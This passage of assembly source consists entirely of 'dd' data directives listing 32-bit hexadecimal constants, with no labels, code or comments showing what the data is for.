0BF044281h, 0BEC3E7B9h, 35C9CAD3h, 730F5589h, 69DD5173h dd 0C2629A99h, 0F112975Bh, 0CD9BA5F6h, 0B1452CF6h, 0F2DF1375h dd 929EEBFFh, 0BF76AB31h, 7A0D683Bh, 605BCDB5h, 0F3358C39h dd 8DE50332h, 0B5FBCFD0h, 799B816Bh, 0C08E2474h, 7A9DE3C0h dd 0E9158BA3h, 20A95D4h, 4C203B4Ah, 5EE1DF2h, 0E900C18Eh dd 7B99BB9Dh, 78C71090h, 627150D2h, 0B0A1ABACh, 891A2016h dd 2FA59490h, 70A00994h, 0A768EC6Ah, 0EA7E7131h, 1D1C8C08h dd 7D0E0B0Ch, 49DF20DDh, 7B691E63h, 0EEF9B6B5h, 17744F01h dd 29051CDDh, 7636C52Bh, 6A168044h, 88ADB948h, 0DB5B370h dd 0C953A837h, 4E955260h, 0B98CB9E1h, 675477C3h, 0CFE3B7A1h dd 5302138Fh, 4DF4B7DAh, 77DC479Bh, 0EDCAFB55h, 0B5DFB70Ah dd 0F2DB2660h, 0E06AA5Bh, 9E5EE179h, 4FCF164Dh, 0EDC16871h dd 7BE2691Eh, 0F47FC76Ah, 3AECF307h, 6CFB02F4h, 6B151FB2h dd 94A084CFh, 9EE131D2h, 4957C18Ch, 0A173AEBAh, 0E4DBA73Eh dd 6777AAE5h, 4902C02Eh, 0A17E6463h, 143BD085h, 817DB446h dd 0E6171018h, 76710E80h, 19C1E234h, 0E4760712h, 2F2F2AECh dd 0B010190Dh, 2CBB64DFh, 0D67EC758h, 75707006h, 5482B1FEh dd 3CF84F31h, 0FE17627Bh, 3E922747h, 34E6112h, 0EDDBC440h dd 0DC12237h, 0BD0195ECh, 0D7BA897Dh, 0B8BBD6BDh, 127C76DEh dd 2D2A2F31h, 48F83543h, 0AF6BAFCAh, 0DAF766B6h, 82FE4732h dd 0F9CBA532h, 166DCC16h, 5BDC6D97h, 0CF120340h, 0C8BF754Bh dd 91B1800Bh, 0A44E3639h, 42090BCEh, 3210A5B3h, 0E103C735h dd 66735B17h, 0F512EA44h, 95B9C4BAh, 0CE963E13h, 0A1E88E9Fh dd 9F43F1DDh, 0A7599E5Fh, 7E220C79h, 56746CEh, 0C1793AF6h dd 0AB809CB7h, 0A3D6D624h, 18EA618Bh, 8F71AC74h, 582DD4DCh dd 729897EEh, 0FED8DC5Fh, 64EED719h, 0C033F641h, 7E629407h dd 749A21A5h, 0DC005C57h dd 0D0899F90h, 5BB84935h, 99C8E6BAh, 0C853E4A8h, 0D3A5F078h dd 0F38F131h, 0BF636748h, 8280C619h, 0EAECA420h, 76CC0463h dd 10D09BB0h, 0C39234A7h, 33B56A66h, 0CBD5AD79h, 8DECB6A3h dd 17112DDDh, 34C099Ah, 0C0862289h, 9F111348h, 0CDBA9253h dd 0C917BCDAh, 0F25FB7FFh, 0E2FF139Fh, 0A714F47Bh, 32ED6566h dd 61841DE1h, 37D59ADAh, 0B0B307BCh, 0EC23E53h, 0CF48E1F5h dd 42481D75h, 4EF3F56Ch, 0D52405C3h, 2C0D9420h, 3F69C370h dd 0D46F9D11h, 0DE098641h, 0A43034E1h, 0E24932Bh, 0F87193C4h dd 0E223620Eh, 296CB14h, 31C6F0E0h, 720853B9h, 7F8B1F13h dd 84E28625h, 69F234E7h, 64F3E1BDh, 74D7AD83h, 1E6E0BF0h dd 0F7C93115h, 0E8C110A5h, 24FA0953h, 0B1C785D6h, 0CD01BF14h dd 486E62E4h, 52EF0898h, 0BA92DC18h, 927A3B57h, 682F80F3h dd 0C28C631Bh, 1501B81Bh, 0BF0C9ECBh, 741E7EA0h, 85C53FD7h dd 0C0235DD4h, 0EA28397Ah, 5E8F1F16h, 4FD2B9FCh, 7D68F303h dd 0D70795Fh, 5D24B18Eh, 328D5ACAh, 5272E7BBh, 96916F80h dd 0FB32270Eh, 6A757B1Bh, 57F947EAh, 8CF008A5h, 0DF1AE75Eh dd 912A96AFh, 356D3F3h, 0B563C82Bh, 9118196Eh, 14989316h dd 7B3EE620h, 4A4F28AFh, 0EE3C0FD8h, 0AD69CA1Ah, 54DD226Ah dd 4ACD5D44h, 326FFE8Dh, 6381A79h, 0C8017E23h, 0A3931B07h dd 2D30CC29h, 0D948710h, 20263FABh, 0CF2EB8F5h, 743FDC5Dh dd 0AC6B0C48h, 986E9363h, 3D28BBDCh, 0CA42B919h, 5180B819h dd 0ACAD84B1h, 7E5F8DA3h, 30566EE9h, 6E3967Ah, 0BE9C345Fh dd 98FA9361h, 0F3E9E9Ah, 1665836Fh, 0BF04DBE7h, 0CAC8376h dd 0ABF33D94h, 6DB4BA1Ah, 0ED0C974Dh, 0DCA72376h, 5AD2ABC3h dd 7010C23Fh, 0BB6FF384h, 0F2007191h, 5ED81DFDh, 0AED5BFDAh dd 4EA1EE85h, 0DE34884Fh, 0C22B5BDh, 4F13EF69h, 0BD012C4h dd 0D4180C7Fh, 0BF87EE5h, 85A4F4BCh, 2FFACB80h, 0F3E2303Bh dd 0B2822723h, 32BD8DA3h, 8F7146EEh, 0F66C276Dh, 3C910863h dd 0FD2DB5CCh, 8E682A00h, 5271F9C4h, 0AB7190C3h, 26E5E067h dd 77B178C1h, 48A0C5Bh, 5D74AF43h, 0CFE7B77h, 34B6703Dh dd 0BFA13DF7h, 98999B76h, 0F4E5FDD0h, 0C61D6ADh, 0EACEB3F1h dd 2AD876C5h, 654309Fh, 721E350Eh, 0C4055096h, 5808627Fh dd 0BAAA8A52h, 8AE8DB9Ch, 33B2B48Ch, 4C30DDF4h, 89937E03h dd 0D6061406h, 0D93BD100h, 0BE6EC871h, 31E5E2DCh, 651143E6h dd 31053AC0h, 2597AAA4h, 0C3CA8A59h, 37E10DCCh, 0EB82FC00h dd 9B956FA8h, 890D5B33h, 2DEE7206h, 206CEA19h, 2AC658CAh dd 2E9858Eh, 0D5E42EA2h, 6F2C204Dh, 0B50E138h, 8B0F711h dd 9D2219D5h, 0C4E3A1F4h, 4FAC33DBh, 199E0AB4h, 47E26FF1h dd 0EEA52096h, 8C37D384h, 68606BF4h, 0C27E4661h, 62FADFFDh dd 27894565h, 7757B1B5h, 16880360h, 0CE989DD2h, 4D19C4D3h dd 38F96E7Bh, 5C5D3E5Ch, 0CCB011DFh, 7897A95Fh, 0F431D2EAh dd 0CB8FE2F6h, 0DB4B50DCh, 50ED109h, 0C6DDAD85h, 0DAC7CBDDh dd 0D7E9BB6h, 78C2A75Eh, 256EB475h, 0EA5E0DB2h, 8B156800h dd 732292D6h, 180D7D29h, 0F59929C3h, 9BA1D054h, 70BAAD2Ch dd 0B7FB070Ch, 24421B5Eh, 82C02215h, 0A7F6151Fh, 6969FE99h dd 9083D7DAh, 0B0E6C64h, 32EE66A6h, 67397FE9h, 191150F2h dd 4C240D6Dh, 801592B7h, 2ACDB0EAh, 207D72CCh, 0AE1131BBh dd 0B8454737h, 0B0904C5Ah, 359AEC0Bh, 1B4CE63Bh, 71F5B687h dd 29C389A8h, 413E7439h, 0FCBC4C14h, 28B6625h, 123C4CECh dd 61C35D85h, 95CE862Bh, 39EF022h, 68EF73D0h, 8C676555h dd 4AAB43FDh, 6EF7D9A4h, 3B6F2FAEh, 120D4A6h, 4ED251A1h dd 33450B06h, 0E6D866BEh, 0AC7D64AAh, 7852360Fh, 0F9F40577h dd 85C46A30h, 6176AE2Dh, 0CF00551Dh, 0B1B1B6C1h, 0ADA3FAD3h dd 6447139Ch, 575D7DA0h, 257DF2BBh, 131C846Ch, 87A750CAh dd 402599B3h, 551D08C0h, 0DC0B37EEh, 355D5B19h, 0D8A9E3C1h dd 91664583h, 1B68346Bh, 0C6C98294h, 22C5053Eh, 9ABC0C9Fh dd 0F3ABD2D8h, 13D750B7h, 446D3669h, 36C813B7h, 229903FCh dd 0C34DCDB3h, 2EFB9E64h, 1865FF77h, 0EFE57F69h, 0ED7371A0h dd 0AA8B71C5h, 0DB03A5CCh, 0A90B9F49h, 3761A1D9h, 3C5D01A1h dd 0B5E658BBh, 663717A8h, 0B6CFF9Dh, 6A5669BFh, 0F1429909h dd 5FC5DAC7h, 8B20C4F8h, 5081CD53h, 0DEE38467h, 62E53D5Fh dd 5E38BD83h, 1908AD05h, 0F720535Bh, 6C671B16h, 6A3761CCh dd 11D258D3h, 0DE52010Fh, 0A2B743DFh, 40FF7777h, 5DB76959h dd 321A9DB9h, 0E3DB2F7Dh, 4626D848h, 399E5E50h, 0CF57BAE7h dd 5F63ABD0h, 179B0455h, 6A623D82h, 0B13A36BEh, 0E67554A4h dd 0C324083Ch, 0ED9AC75Ah, 332045B5h, 0EA1FA2D0h, 0FB33DE44h dd 0A6776FFh, 8CC2E7CFh, 8D0ECCF2h, 4F3E220Fh, 12443509h dd 65309AF2h, 1C61AC16h, 7B71430Dh, 309A7ED1h, 0FD828CA9h dd 0BB71B5F0h, 6CDABFF4h, 6503E0DFh, 0C934927h, 8A6C3598h dd 71CC6301h, 0ADAD1A2Ch, 92B655EFh, 262C27CBh, 74A8D123h dd 93D97810h, 76EC31BDh, 20192C50h, 5153104Dh, 0A1436DDBh dd 3C213658h, 90EACE01h, 0BB954533h, 38D20D2Ah, 4230DCF7h dd 3ACC15Eh, 0A549E024h, 0BAA5A74Ch, 8E2C194Bh, 7E0B22BDh dd 0E76392FFh, 31176AE6h, 0A194AA91h, 9511D2h, 88A379BAh dd 46E0E33Bh, 4971A247h, 9CFA70BEh, 7207BB22h, 2D2C7B5Eh dd 139D2B31h, 2C912096h, 5EE52A6Ah, 23DED60Bh, 9FD50D7Fh dd 8216815Fh, 5DBBC490h, 753E4478h, 0D4595CFEh, 9D75A4EBh dd 0C1C73667h, 9D7BFDE2h, 183934E2h, 7266800Dh, 6D96D35Ah dd 491BF1E3h, 0DAB6FDC4h, 9C0D4F3Ch, 55715055h, 0C1C5520Ch dd 482E721Bh, 362195F2h, 43C143Dh, 0A886B7B8h, 0F56758AAh dd 75CFF8A0h, 5928CC34h, 0A5676ECCh, 98C50C1Fh, 1DE39ABFh dd 3A69959Ch, 0F7D9080Eh, 0D7E71459h, 0C175E849h, 0C31F549Ah dd 0DF9E7420h, 6CEB2241h, 0AB55B114h, 0A16F6BF8h, 7771DF41h dd 0A48252FFh, 0FB0BAEF6h, 952E8FD6h, 0BA807C05h, 1B6BB9D3h dd 0CE1F867Bh, 6C8481ACh, 34AD59CFh, 9B38DF21h, 7F92BDDh dd 81AD7FEBh, 0E419548h, 0BF28104Eh, 7036D22Eh, 1C112FBEh dd 27D3F6FAh, 37F934ACh, 2057F0FFh, 430BDCD7h, 0EB6374E5h dd 21C2E4DFh, 0F5B705D5h, 0B040B1C7h, 0FEE7EB96h, 6E1300BEh dd 0C01C9F5Eh, 35E4DDB1h, 4FD641AFh, 69FCEA91h, 0CB5C1E08h dd 0F42CBA5Dh, 5F069ED8h, 238AC14h, 0D544D75Dh, 885B5B31h dd 0B9A622DFh, 17E52FAEh, 0C4B28DDFh, 22599Ah, 0A5D6E1EDh dd 966CFB1h, 0EEF77D3Ah, 81B8C93Ch, 910CCA9Dh, 0BA6BE61Ah dd 708920D3h, 79A2401Bh, 8E768D8Ah, 3457E227h, 0D13ACC3Dh dd 76AA9B03h, 0B3DE0072h, 51110BF1h, 335647D9h, 79297E0h dd 9A0F9419h, 7D752C24h, 0F65708ADh, 0D3070269h, 0C7E1BB5Dh dd 0BAC7B7EDh, 26C4BA81h, 6DF3607h, 0DE43362h, 5F0F9AC7h dd 0CDC5CA90h, 0F2B2CEF5h, 0C7369FA6h, 317C6296h, 6BFDF9FDh dd 0B33CF8C2h, 6D8FF80Fh, 0B885211Dh, 600D633Ah, 284728FFh dd 6C672E3Eh, 0AB1BC1A0h, 0AAA61139h, 21E85DABh, 55CED91Fh dd 0C2B48CCFh, 4B993163h, 29EA62C7h, 541856DFh, 0BB4AF7E1h dd 44BA5316h, 0CFE5FCC0h, 5B64F070h, 4D0CF591h, 59C4B1D2h dd 0E63E2B48h, 0C32658E7h, 173B7C16h, 35A1302Dh, 224096E3h dd 0B720C3ECh, 1EFD0A72h dd 5248F5D7h, 29AB3159h, 5E814E8Dh, 0A196AE3Fh, 5990E541h dd 206B6EFAh, 0BBEB624Ah, 6BD22C7Dh, 0A447FFC4h, 0E93B7BACh dd 3D940FCEh, 53E6A6AEh, 0DB57DD73h, 0F72CBD83h, 0AD18ECCh dd 989E7F20h, 0E62DF13h, 571B165Ah, 9F23398h, 44A2B068h dd 570D6329h, 0D509F0ABh, 59E5E233h, 42AA4E04h, 0D17BBB8Eh dd 0A94B5773h, 5CEA3A08h, 74A6329Dh, 1A3872AFh, 0A3FF6AFBh dd 798A829Fh, 4F71BD42h, 0C24A34F9h, 68EE3BBBh, 0E074EACBh dd 705C6792h, 0BC838C63h, 0E6D33C9Ch, 0CAB4982Fh, 0CA205D71h dd 8901DD26h, 0D89A9B26h, 6E7E5E55h, 2640692Eh, 783E2597h dd 4F10BB1Ch, 95CCB5DDh, 25AFC6EAh, 52BBD697h, 0EE6CDF21h dd 0A6935FADh, 25AB8F39h, 0E0A8812Bh, 883C8F26h, 7104443Fh dd 6D4FA293h, 0FB2C9815h, 671D760Ah, 311067B0h, 0C8B36042h dd 0A1D4E391h, 255F1F4h, 6A0A2791h, 73CD5D84h, 0B051BE6Bh dd 2C636410h, 430FB13Ch, 18AD1BA8h, 7E1BD483h, 586415BAh dd 8BBDF6EBh, 71C9A96h, 1AEF0A61h, 0E7B53D04h, 85B3E783h dd 113AE065h, 72CF2677h, 0B3F79EB6h, 75058B60h, 58A1E714h dd 0DB3DF2A7h, 74E52BA2h, 0B95780D6h, 0BE6D0FB1h, 0E7EE4852h dd 8166F207h, 4E720788h, 68BDD5FAh, 18E788C6h, 30744880h dd 66DE9015h, 326437E3h, 23788296h, 0CE2BA44Ch, 0B7B2BB73h dd 4BF73AAh, 2343D92Eh, 0F0101B05h, 7AD6A81h, 43928852h dd 76915D96h, 0AE57ED18h, 0E3BCE06Bh, 12756453h, 9061025Ah dd 0CA440F1Fh, 55384EF8h, 937BDAEFh, 963A2B9Dh, 4C422E29h dd 5DC53709h, 0A6132953h, 0D259E4B7h, 2F8BAB92h, 0D5FFCE5Dh dd 0D4A8168Eh, 0BA508E37h, 0D9F702E0h, 31E7CBEDh, 0EAD83CC1h dd 5BC43BA2h, 2A58E9Dh, 0BDE65B4h, 9F92DB63h, 0A24995CCh dd 0B796FE1Bh, 9687FCF7h, 77D4258Ah, 8F6FAAD1h, 44C6E2CFh dd 0EBFD24D8h, 2110A419h, 0D796CFC3h, 29CF29D4h, 0E72ABA84h dd 0EC37B5E9h, 16BF1547h, 0E0A41E9Ah, 8B804B38h, 2DB36262h dd 0BE01EA68h, 7D328636h, 0AE9EABC5h, 9AA93AC4h, 0EA0DFFF8h dd 8379DF84h, 9DA80DAEh, 19C8CBD6h, 7BAF4DD2h, 824700EDh dd 7E64C14Bh, 0CFF76D7Dh, 0B515BB5Fh, 8522306Dh, 14AE96AEh dd 3F3D4D15h, 7A781B67h, 5084891Bh, 2176BD39h, 695DA9AAh dd 9DCEFE00h, 9E34545Fh, 0F98A4BE5h, 0AB651439h, 34C7F01Dh dd 93292135h, 235D1386h, 500299E4h, 6538A56Dh, 56EB8588h dd 9599B587h, 0D8488483h, 0A94AC760h, 0B3815B56h, 0A2E4DF66h dd 0A00EDADEh, 12F7FB98h, 73460590h, 0AA0CCA55h, 0CE4BF8A3h dd 4B15B447h, 850C9D2h, 0E74BEE5Fh, 668844F3h, 516A6E5h dd 5ABD85B4h, 11EEBF42h, 0A85138EBh, 5779C5C5h, 861EFE57h dd 0DB94B1C7h, 40B28D85h, 5E64B0A3h, 8DC345F5h, 0A59950C6h dd 0EBA13860h, 0B559D351h, 0D4932197h, 9C0C76BDh, 0A8F48AF0h dd 0FD4140CBh, 76E5B121h, 0E4D67E80h, 19AB878Bh, 0B2A1061Bh dd 0B43665Ch, 0DAD33115h, 2D32AB6Dh, 2A3F0DDEh, 0F6D3F172h dd 4213EB39h, 0E3DE5317h, 5CE5C57h, 632FF94Ch, 65E05BCh dd 0D935FB5Bh, 84A80D41h, 709A94h, 54038DB7h, 0EF93C1F0h dd 0DB20E702h, 0D57C3A4h, 328EC276h, 7931792Fh, 3EB7A56Ch dd 6C40E4AFh, 0D99E5C35h, 4B9B3794h, 0EBD1FA90h, 37A02D99h dd 0C35A857Bh, 0C3D6D2CDh, 0C3C9F1FCh, 0D42AD9ACh, 48BFDA6Dh dd 603F6F59h, 32963265h, 7E1E95E1h, 6FC019A3h, 1CBD55E4h dd 0DD291E08h, 0A8D6C3A7h, 8DBFB42Ah, 7663D115h, 0BD6D9120h dd 0A5251D6Bh, 67CCEBB7h, 686E1F82h, 0FD5E7B1Dh, 7D00FEC1h dd 0E62E8B65h, 265B9470h, 34AA5D8Ah, 858E4BC1h, 0B67C4823h dd 3B3BD839h, 0B48571DDh, 2D173FFh, 0DD8C6043h, 0C43FD372h dd 1B9F2F44h, 0AD47C251h, 3A6AAD45h, 0E9DB499h, 0D79C4222h dd 3ED5B339h, 146D1953h, 0FF546919h, 0C0465072h, 1155A466h dd 0A6D00B33h, 261616CFh, 968871ADh, 73073B72h, 0DC0F76Fh dd 0CB290FE4h, 0C0782CAAh, 4E994F3Fh, 9B66AE8Ah, 0BD9D1BCDh dd 2E750C77h, 0E5AC0A73h, 98893EEDh, 2A18784Ah, 894ABAF0h dd 0E446C7ADh, 0D827F35Bh, 5C0B3C68h, 7E192977h, 0EA56A568h dd 678A3FAEh, 59DB07B0h, 0DCBDEC03h, 8E27E2D9h, 0D3C5D8BDh dd 4FF49DEh, 0A200A339h, 0FDFAC169h, 0FF4D2FB0h, 46BB17E8h dd 9C490C2h, 25EF20C9h, 0B507B154h, 23201B64h, 2D952A0Ch dd 0DF85CC59h, 5475CF62h, 67757FA4h, 0E3870393h, 4AE4198Eh dd 0F9F1EA3Fh, 5A2779DEh, 0EE6C7FE6h, 2B6884EBh, 5E817703h dd 410A8250h, 0B349BF6Dh, 0F9D6E74Fh, 0F6FD9CD1h, 35388294h dd 0AF5CE020h, 0ACCC8187h, 1DA37128h, 49D540h, 1D7677CEh dd 0C94957B9h, 0CF4724E0h, 0B294E7E4h, 7F0274E7h, 0F5E25E1Ah dd 140A6102h, 8DE5089h, 6B74CE4Ah, 8EB262E2h, 877C9D87h dd 21E9D10h, 953B8A13h, 0F69EBBADh, 2558DEC3h, 35B4C455h dd 7D8F2416h, 6404B258h, 7F3EB1A0h, 0C468A0Ah, 4D107C91h dd 8B2BD9FAh, 0DB630B91h, 1CFB5BB9h, 40F4F5A2h, 0FD1DC560h dd 0D5A8CDAEh, 74821E8Ah, 0A3D29ED6h, 572B5E9Ch, 5CEB715Eh dd 8E12B217h, 5DC0AF47h, 10E21D9Ch, 4BAA8737h, 8C8EB525h dd 0A05BA2FEh, 0AB3104A9h, 0A590F3C7h, 93BE9870h, 3BD9161Fh dd 0DA305673h, 0A14F729Fh, 0AEDC58B4h, 315B816Dh, 6810CCFDh dd 6B061ADCh, 0DB97FD60h, 0E7ACD40Eh, 0AE3ABB54h, 3F599244h dd 9C49B7D8h, 0B92D1F9Dh, 7A1D2537h, 3D027BA8h, 0B86E0A61h dd 0C7BF7250h, 52D40FD6h, 0FE87C136h, 0C6F9887Ah, 5C322B38h dd 5E9BC814h, 0DE274E7Bh, 0BB705578h, 0DC0E52F1h, 68F875D5h dd 0D8C89Ch, 0D43A6A32h, 5546AA3h, 805BB8B9h, 0DA3274B9h dd 0D1E26757h, 28C3995Fh, 56ADC1FDh, 523A7DFEh, 0CF6BFE66h dd 764A9F65h, 70DF7DCFh, 40840F54h, 1F36B2E7h, 8BA6B508h dd 0B190C52Bh, 250805ABh, 8191469Dh, 1DEA7CBFh, 0C90D8519h dd 0C985D753h, 0B9A79994h, 16D55CB9h, 0A02B6663h, 0A3A9638Dh dd 0DFDB3C13h, 313E85C8h, 7877A639h, 0C3945A49h, 1A57DE3h dd 0A2F4A125h, 1FBA3F83h, 5911DD1Fh, 3B0715F8h, 694407FCh dd 4FEA2060h, 5D058FB0h, 365BF689h, 31DCE777h, 79E7118Fh dd 0F18DF45Bh, 6FACDF5h, 4DD5A234h, 4D840883h, 0DB2DA76Ah dd 8D0FD92Ch, 12ADB727h, 0E98671FAh, 4733ECA4h, 4CC5533Ch dd 157EDD27h, 0E9C0EF7Ah, 0D33759B1h, 0C178293Bh, 0BEC32EE4h dd 522278A5h, 0ED473834h, 0CE5DD0D9h, 8C62AE18h, 0C1F6C67Fh dd 262792Eh, 67402646h, 0FD4F893Bh, 9F413D98h, 9000BB0Bh dd 20277E62h, 0AB343675h, 416A0786h, 0EE021D40h, 0BBC04FDCh dd 14A4A7CDh, 0D1073244h, 0C47C8B8Ch, 79FA1CE3h, 0D69EB5F6h dd 8B263A66h, 96C60866h, 1925FB59h, 8611965Dh, 432CEB39h dd 0BC741B6Eh, 0BEA7AE77h, 9C6C6178h, 0DC6F5275h, 0F0083BFDh dd 0F967762h, 0C4D5D27h, 274CDEC2h, 0CD6CAFA2h, 0D8D978D3h dd 0DCEE992Dh, 0C11AF988h, 79D98178h, 0F8F088CAh, 0F6B89A44h dd 0F9211074h, 50599B2Dh, 0C7D858E2h, 4383C5F3h, 50D83369h dd 0B8AF45F5h, 0DE1CFF11h, 9DB1410Bh, 73832540h, 0F69A604Fh dd 62F462EDh, 4972563Eh, 7BC9C590h, 36C6FF98h, 9E0CD925h dd 115EC4A3h, 27E3044Ch, 0F08B87FAh, 85FBF0E6h, 0F9B5948Fh dd 0F4EF77D2h, 4B8AADBEh, 1DB848B2h, 9BEEA89Ah, 9E1BC40Eh dd 429C0276h, 0A574F855h dd 72CFC8D3h, 51FDD6CCh, 117E3D54h, 14A6DF8Dh, 33B1CAD9h dd 27860E84h, 4531EEB6h, 5A5CF824h, 7ECB2D1Fh, 743D3279h dd 0C0D1D44Ch, 49E19F21h, 0D7010938h, 4111DD34h, 0A3EA9BEAh dd 0C2278CFFh, 233270F4h, 0A7B62FD1h, 0DAD0C0E7h, 576EAD78h dd 0AA958918h, 0DA1DB2D3h, 597D7DA7h, 0A4B8ADFDh, 0A2A1A451h dd 0ED73EF88h, 0CDB79974h, 0DC663490h, 75C840C0h, 0E30E398Dh dd 0FD282D9Ah, 0C18A320Bh, 9B468A77h, 0AE1BC3FEh, 71514159h dd 670F9371h, 0FB22999Fh, 3F1C152Ah, 0CC22FE9Dh, 21EC1000h dd 22C69192h, 0ABDAABAEh, 8FAD6603h, 5D95F59Ch, 2454B861h dd 7678B0FCh, 0CE1BC477h, 84E4A0A4h, 92AD6193h, 0BE410C71h dd 0FF6D3B1Bh, 0A96B2747h, 9219784Ch, 45F674CAh, 9AB965A8h dd 4FCE75E6h, 20DB702Ah, 43214269h, 3AB48B27h, 3FAA1A44h dd 7EE0F579h, 0C317FA31h, 0E2875DDFh, 26AA08C8h, 0CBDDB058h dd 0E767846Ah, 69EF63BEh, 5CE579D7h, 0CF1A167Ch, 434E481Ch dd 6463DEE5h, 0C87D04ADh, 0A2829BFEh, 12C87D7Fh, 6C89CC8Bh dd 8F563759h, 0C21FDC74h, 67A68A4Bh, 6DFDD724h, 4A6BFC82h dd 95EE56E2h, 7AAE978h, 2EED8D57h, 60D0FFDAh, 5B12DE86h dd 0FB81E62Ch, 0D00B3BA0h, 106C3CA0h, 73274498h, 6840979Dh dd 7861D079h, 0B074A2F7h, 5717DEA8h, 0E971C436h, 502B2AA7h dd 6C3A4294h, 0B3CB81CBh, 71AD4578h, 6B47DFE1h, 0F2D2FD43h dd 3544FF3Ah, 0B69B521Bh, 0EF7E1A93h, 0E582CA00h, 29D501E3h dd 79A8761Dh, 523A88F6h, 3D7313BAh, 0A20F3A60h, 67F4A52Ch dd 8645474h, 316C58EFh, 0DA412E21h, 93FE218Fh, 0DEF96018h dd 6FE7017Eh, 2D8CDBC4h, 1936FAD4h, 6A7BF955h, 4DC5AC3h dd 1F0BB10Ah, 98A4D4BBh, 36EBD96Bh, 1332B3C1h, 0DC1A6C60h dd 0FB5602B4h, 0FAE1C4C4h, 3106B463h, 3C15C8ECh, 0C24EE0A4h dd 4094CB9Eh, 0C9091CF7h, 0B8B484C9h, 0EB8BC18Ch, 63746207h dd 0D08E75Eh, 24FF618Ah, 0EBE5CF77h, 9128E2AAh, 17AA8ED3h dd 276A5C33h, 9235B036h, 0CF77DE6Ch, 748D0D15h, 24A66713h dd 0B32CA955h, 0CE353A89h, 59C6074Fh, 4123E142h, 6530A1B9h dd 789768F0h, 54F6314Dh, 671134AFh, 4BF89Dh, 21F37AF8h dd 3D9A1D8Fh, 702EF337h, 42C725B9h, 1F76517Ch, 1E5EE6BFh dd 0E5B760FBh, 27D17BAh, 95F346F4h, 0C8EFD9A9h, 35231BC8h dd 0F2E3AAD8h, 2E9B23AEh, 8672B61Ah, 0FF70CC1Ch, 0E69C33C3h dd 0AF31D442h, 46D9BFDFh, 0F14D4AD4h, 1C44A3DEh, 7B26F792h dd 2994FDDCh, 0F56439C2h, 444CA75Fh, 12AB14CEh, 31D52F41h dd 6EEA35CEh, 3EB705E8h, 4C9D789Dh, 15F8E1D5h, 0F0DC1255h dd 6DA94456h, 3C30F0F7h, 1DAD3E34h, 342CB06h, 0F0754AC7h dd 0C0B84AC5h, 1D89D6D8h, 0C2B61596h, 73A334ABh, 3C4E9C83h dd 0DC9F48DEh, 62B5FCBBh, 9C2FAD41h, 419CC6A9h, 7C8D26BDh dd 11C625E0h, 68AA2B41h, 515D19DBh, 0B68B22A5h, 7E7B3935h dd 4E822743h, 2B3EBED6h, 6564BA88h, 0B3AADBCAh, 7BE2162Bh dd 0DCB95793h, 35CA315Eh, 13757A1Bh, 19B924DFh, 44E75864h dd 670B05B0h, 3DAF4A7h, 4F03D289h, 0C96318BCh, 904096F5h dd 0EC5BEB08h, 0B3E5634Fh, 8C8EB3DDh, 8B48D7E9h, 198F35BDh dd 0D27BB16Ch, 0A6A8BFB1h, 359D0A7Fh, 0CC3B3C27h, 368B1C2Fh dd 51E75E1Fh, 15126D87h, 9D17029Eh, 6740A29h, 54908F95h dd 59BBB6CCh, 0D9676A4Eh, 0AFE5FF35h, 0D6D33440h, 0F17BC536h dd 0DAC9386Ah, 0CE5412BFh, 57326775h, 0A6AB7D4Fh, 0FB040313h dd 463DE415h, 0FD4C4E9Bh, 714C35A3h, 2E6D58F5h, 0BF2A6F91h dd 293172B1h, 0A10B62D7h, 2F404607h, 6A8B8A6Eh, 0D15BB835h dd 1FBD0A12h, 0FFCB22E5h, 4C1FC168h, 0E4B5A4Fh, 0CBBD0388h dd 0EEE97650h, 81CF7A9Bh, 5A2A7ACDh, 865CD8FEh, 0A5D78309h dd 461B2CEBh, 8DF6281Dh, 9F0FDA6Ah, 467009F8h, 0A3AF75F8h dd 8B91D0h, 41741C95h, 3CC1A079h, 10AC70B2h, 0B46B99B1h dd 6B5BC2DDh, 374FEABCh, 0FB694645h, 56665F25h, 0C4D3EB2Ch dd 9F5175F3h, 0CF8DF3A1h, 4EA4688Eh, 776EE2C2h, 428B9BCAh dd 0AD357235h, 0EF375DFDh, 4AD9C5BAh, 0A279B4A7h, 108669Eh dd 37541EFh, 0E1EA5DF8h, 0D71FF919h, 1F757EE5h, 5EF52D60h dd 0E84231B4h, 0FCCD3E20h, 34176234h, 910E4973h, 6F3ABCEBh dd 91EC6659h, 78371915h, 6A6363AAh, 8AD482C0h, 0E66166A8h dd 4296CFCFh, 87895EDh, 0EDDF80F9h, 9D81851Ch, 2A1B1B5Eh dd 0DDE940D0h, 0CBE53C6Ch, 1A48988h, 9DB98F4Dh, 0B9B4910Ah dd 67FA3734h, 0D4505DDEh, 39D98D3Ch, 0ADDA879Ah, 0C2145D89h dd 4EACA4B2h, 90F22DD7h, 740D615Dh, 6DEC0658h, 21A19CAAh dd 0B2001749h, 3CB62D43h, 37A095A8h, 6D69E56Ch, 0AFD04438h dd 0E83B8E2Dh, 81B705DCh, 287018BEh, 0E1FD8C7Fh, 0B095AAE6h dd 0EE037F5Dh, 5ECD478h, 0E55D8928h, 8D1FF98h, 0DCD84EF6h dd 3776E93Ah, 42884516h, 14C660AAh, 619E8CD2h, 0DB027148h dd 0B61E518Bh, 7BC8427h, 0E4E5C8BBh, 0C8A0C308h, 3EC7A658h dd 0A67A164Bh, 1CD1D76Fh, 0E05F623Ch, 0F52EFDF2h, 0DB356D4Dh dd 0D7951A65h, 0D9A0AD81h, 0C9377172h, 3EE6D546h, 16D6AFF6h dd 0C6C01B1Ch, 9603D5EEh, 6361A3F6h, 0B9467D98h, 2E041B85h dd 0EE48AA82h, 3BD42373h, 1AC8307h, 0ED384B04h, 6A7BE50h dd 0C3BC592Fh, 0A687F9F1h, 314F3D78h, 2FB6C47h, 4E7DBD24h dd 0FB055982h, 417A3198h, 6FDDBA1Eh, 5A202E14h, 0F174C4C1h dd 43EEEB6Fh, 6998153h, 0F125E7BAh, 0A178D577h, 82AA662Ah dd 8E19CD28h, 32F6DEB3h, 55ABEA1h, 93D0C293h, 88B2881Bh dd 582B7268h, 0C9A2C346h, 0BD923C86h, 738B11FBh, 0B3F95C28h dd 1257D914h, 55148817h, 65F70ADDh, 3B836595h, 56039A03h dd 0D8543111h, 0B77DB259h, 23BAB803h, 0FA1A480Eh, 31EB6E05h dd 0F043779Ah, 0BBD45825h, 28D5F9B2h, 98C6C574h, 2F950638h dd 0BCDA3495h, 21BC35D2h, 0DBFC3EAEh, 599FBEC1h, 0F7264B47h dd 0A7AC513h, 0B10C5A54h, 0B803BC4Dh, 0D90FA94Bh, 0A5A8EC7Ch dd 0DD99700Fh, 0FBFE9BF3h, 1E98363Fh, 0B245A204h, 0FEDA5A03h dd 0A4D8BA86h, 32B967E4h, 